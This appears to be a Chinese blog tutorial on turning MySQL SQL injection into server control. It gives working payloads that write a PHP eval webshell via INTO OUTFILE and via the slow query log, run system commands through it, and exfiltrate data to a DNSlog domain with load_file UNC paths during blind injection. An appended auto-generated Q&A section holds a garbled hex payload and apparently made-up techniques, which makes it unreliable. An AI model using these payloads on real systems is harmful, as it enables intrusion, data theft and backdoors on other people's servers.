★SQL注入写WebShell&&DNSlog注入(配合盲注)

SQL注入写webshell

1.什么是一句话木马

一句话木马是一种短小但是功能完善的木马客户端,通过它我们可以构造系统命令执行,从而

达到控制操作系统的目的。它的隐蔽性好,功能强大。一般来说渗透过程中遵从先传小马,再传

大马的逻辑。

我们把恶意的函数写入到文件里去,通过访问文件,搭建平台会执行文件中的参数,而这个文

件可以被我们利用来执行操作,从而达到了控制目标操作系统的目的。

方法1:

有三个条件:

1.首先需要知道远程目录(猜测+经验)

可以通过@@basedir  查询到Mysql的目录,从而去猜测对方的网站目录。有时候Phpinfo()探针也可以泄露地址

举例:E:/phpstudy/PHPTutorial/mysql

E:/phpstudy/PHPTutorial/www/

2.其次需要远程目录有写的权限

3.需要数据库开启了secure_file_priv  (如果关闭,则详情方法2)

MYSQL新特性secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出,

这个对我们写入shell有重要的影响

写入文件的时候还需要看php.ini,里面的gpc是否开启,如果开启,特殊的字符都会被转

移,’会被转义成\',这个时候我们需要使用十六进制编码进行绕过。

查看数据库对于secure_file_priv写入写出的权限:

show global variables like"%secure%";   #查看更多
show variables like '%secure_file_priv%';   #仅查看secure_file_priv

开启虚拟机下或者其他情况已经可以管理配置文件情况下,才可以修改secure_file_priv 为空

1.找到mysql文件夹下的my.ini文件,用记事本打开

2.在mysql下添加

secure_file_priv= 

(等号后面打一个空格就可以了,不用打“”)   然后保存;

3.在cmd下查看现在的结果。此时就可以正常对虚拟机进行写入的操作了!(在实战过程中除非有文件访问修改权,否则没办法修改。这时就要参考方法2,爆破获得Phpmyadmin的账号密码进入后台进行传马操作!)

1.小马(同于之前的version()查询,写在union select后的回显位置即可)

小马代码:

union select 1,2,"<?php eval($_GET['w']);?>" into outfile "C:/phpstudy/PHPTutorial/WWW/haha.php" %23

(必须是/ 而不是\,否则不能正常执行)(远程目录需要自己猜测)(w为密码,可以自行更改)

2.后续getshell中URL传参命令: 127.0.0.1/haha.php?w=system('dir');  (dir可以改成ipconfig等。具体可以在shell管理工具里面操作更加方便)(127.0.0.1是模糊地址,需要根据情况更改)(w是密码,根据传入的小马进行更改)

3.开始传大木马、将大木马传到其目录。可以有更多的权限(在shell工具可以写入)

方法2:慢日志写shell(若方法1中参数为null不可继续,但可以成功进入phpMyAdmin且有写的权限时)

#1.查看当前慢查询日志目录

show variables like '%slow%';

#可以返回如下的变量:

#log_slow_queries OFF

#slow_launch_time 2                    #慢日志最小写入时间

#slow_query_log OFF                    #慢日志查询功能的开关

#slow_query_log_file E:phpStudy/XXX    #查看慢日志的目录



#2.开启慢查询日志的功能

set global slow_query_log=on;



#3.重新设置日志路径,注意设置为网站的绝对路径(global)。

set global slow_query_log_file="E:/PHPCUSTOM/wwwroot/accessinfo.php";

(路径自行设置)(accessinfo.php可以自行命名,如haha.php)



#4.再次查看日志路径,确认是否被成功修改(如果结果不对,需要不断的重复3直到修改完成)

show variables like '%slow%';



#(补充)调整增加慢日志写入时间,这样可以避免一些日常的语句写入。可以更加高效的写入webshell

set global slow_launch_time=5;  (5s也可以自行设定。但是后续写入的时间sleep必须大于这个时间)



#5.执行Sql语句,写webshell进慢日志文件

select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);

(密码为cmd,自行设置)(sleep(10)将时间设置为10s,大于写入时间就可以成功写入慢日志)



#6.成功用方法2写入小马。这样可以直接去shell管理工具传大马进行管理。同于方法1的后续。

DNSlog注入(配合盲注)

环境配置:
mysql.ini--->添加在[mysqld]最后 secure_file_priv=
http://www.dnslog.cn/
select load_file(concat('\\\\',(select username from table1 where id = 1),'xxxdns域名地址'));
1' and if((select load_file(concat('\\\\',(select xxxxx)),'.xxxx\\yyy')),1,0) --+
可以配合盲注
1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx\\suibianxie'))),1,0) --+
1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.xxxx\\suibian'))),1,0) --+

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: SQL注入是一种攻击技术,可以利用应用程序中存在的漏洞,将恶意的SQL代码注入到应用程序中,从而获取应用程序的控制权。如果攻击者成功地注入SQL代码,他们可以执行任意操作,包括WebshellWebshell是一种恶意代码,可以在受攻击的服务器上创建一个远程访问接口,允许攻击者执行任意命令。攻击者可以使用Webshell来窃取敏感数据、破坏系统、或者在服务器上安装其他恶意软件。 要利用SQL注入Webshell攻击者需要找到一个易受攻击的应用程序,并利用应用程序中存在的漏洞注入恶意的SQL代码。一旦注入成功,攻击者可以使用SQL语句来创建一个Webshell文件,并将其入服务器上的某个目录中。然后,攻击者可以使用Webshell来执行任意命令,包括上传和下载文件、执行系统命令、或者修改文件权限等操作。 为了防止SQL注入攻击,应用程序开发人员应该采取一系列措施,包括使用参数化查询、过滤用户输入、限制数据库用户的权限等。此外,管理员还应该定期检查服务器上的文件和目录,以确保没有Webshell存在。 ### 回答2: 什么是SQL注入SQL注入是一种攻击方式,用于通过对应用程序中的输入进行恶意注入,从而访问或与应用程序中的数据库进行交互。SQL注入通常利用应用程序的输入验证不严格,以及对数据库中的数据进行不安全的查询和处理,从而访问和操纵数据库。 什么是webshellWebshell是一种特殊的程序代码,可以通过Web接口进行访问和控制,可以给攻击者带来权限最高的系统操作权限。 如何通过SQL注入webshell攻击者通过SQL注入可以执行许多操作,包括获取或修改数据库中的数据,但更加危险的是可以通过webshell来获得对目标系统的完全控制。下面是一些通用的示例,介绍如何通过SQL注入外部攻击webshell。 1. 通过UNICODE编码的方式webshell 攻击者可以通过在URL字符串中使用UNICODE编码来伪装恶意SQL注入代码,以此来避开Web应用程序的过滤器和安全防护措施。例如,攻击者可以使用以下语句,将webshell入到一个包含BLOB类型的表中: ' UNION SELECT NULL, CAST(0x3C3F706870206576616C28245F5053545B312D31293B206966202869736572727065723F246F75745B315D290A7B2473797374656D3D2170737465725F6765745F636F6E74656E74735F75726C28293B2024746578743D2473797374656D5B31293B2073656E64286F62636F645B2272657175657374225D2E6"9"6"5"76616C285F504F53545B225F716"5"56"1"225D293B290A3F3E0A0A, NULL-- 此代码将webshell入到一个表中,并通过使用PHP代码,能使其在服务器上运行。 2. 在注入点创建一个新表,并将webshell入其中 攻击者可以通过多个SQL注入绕过过滤和检测,创建一个新的表并将webshell入其中。例如,下面的代码可以被绕过,从而创建一个新的表: ' UNION SELECT NULL, 'CREATE TABLE webshell (id INT, shell text); INSERT INTO webshell(id, shell) VALUES (1,<?php eval($_POST[0]); ?>);' INTO OUTFILE '/var/www/html/new.txt'-- 此代码创建了一个新表“webshell”,其中包含列“id”和“shell”,并将webshell入到以BLOB类型存储的“shell”列中。 3. 在目标服务器上创建一个外部表,并将webshell入其中 攻击者还可以通过创建一个外部表,在连接到目标服务器时抓取webshell。例如,攻击者可以构建以下SQL语句以在目标服务器上创建名为“webshell”的外部表: CREATE TABLE webshell (id INT, shell text); INSERT INTO webshell(id, shell) VALUES (1, '<?php eval($_POST[0]); ?>'); 然后,攻击者可以请求一个可以对此表进行操作的URL: ' UNION SELECT NULL,'/var/www/html/?id=(SELECT GROUP_CONCAT(CONCAT(id,0x2C,shell),0x0A) FROM mysql.external_table WHERE table_name="webshell")' INTO OUTFILE '/var/www/html/output.txt'-- 该URL将在服务器上抓取webshell,并将其输出到/var/www/html/output.txt。攻击者现在可以从该位置获取完整的webshell,以便执行任意系统命令。 总结 SQL注入是一种令人不安的攻击方式,可以使黑客绕过应用程序的安全控制,从而访问和操纵系统中的数据。webshellSQL注入的最危险的结果之一,它允许黑客完全控制目标系统和数据。要保护Web应用程序免受SQL注入和其他攻击的威胁,建议采取一系列安全措施,包括在应用程序代码中实施更强大的输入验证和防御措施,利用Web应用程序防火墙和安全扫描器,以及升级和更新应用程序及其相关软件以减少漏洞和缺陷的风险。 ### 回答3: SQL注入是一种攻击技术,攻击者利用这种技术可以将恶意负载注入到应用程序的数据库中,包括webshell,从而获取系统控制权和敏感数据。SQL注入攻击是因为应用程序没有正确的验证用户输入数据而造成的。 SQL注入攻击者通过在应用程序的输入字段中输入特殊字符或语句,从而执行恶意SQL语句来覆盖或篡改应用程序的数据库攻击者可以利用这个漏洞来webshell,从而获取远程访问到受害者的系统。 webshell是一种恶意软件,攻击者可以在受害者的主机上进行远程控制。攻击者可以利用webshell来窃取敏感信息、执行命令、上传或下载文件等操作。 攻击者通常会在注入恶意负载后,通过脚本或工具上传或执行webshell。一旦攻击者成功地webshell,他就可以通过浏览器或其他工具来远程控制受害者的系统。 为了防止SQL注入攻击,应用程序必须实施有效的数据验证和过滤,从而限制用户输入的字符和语句。此外,安装和更新防病毒和防火墙软件也是非常重要的。其他防御措施还包括使用安全套接字层(SSL)来加密数据传输,使用预编译语句来包含应用程序的数据查询,以及限制数据库用户的访问权限。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Simon_Smith

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值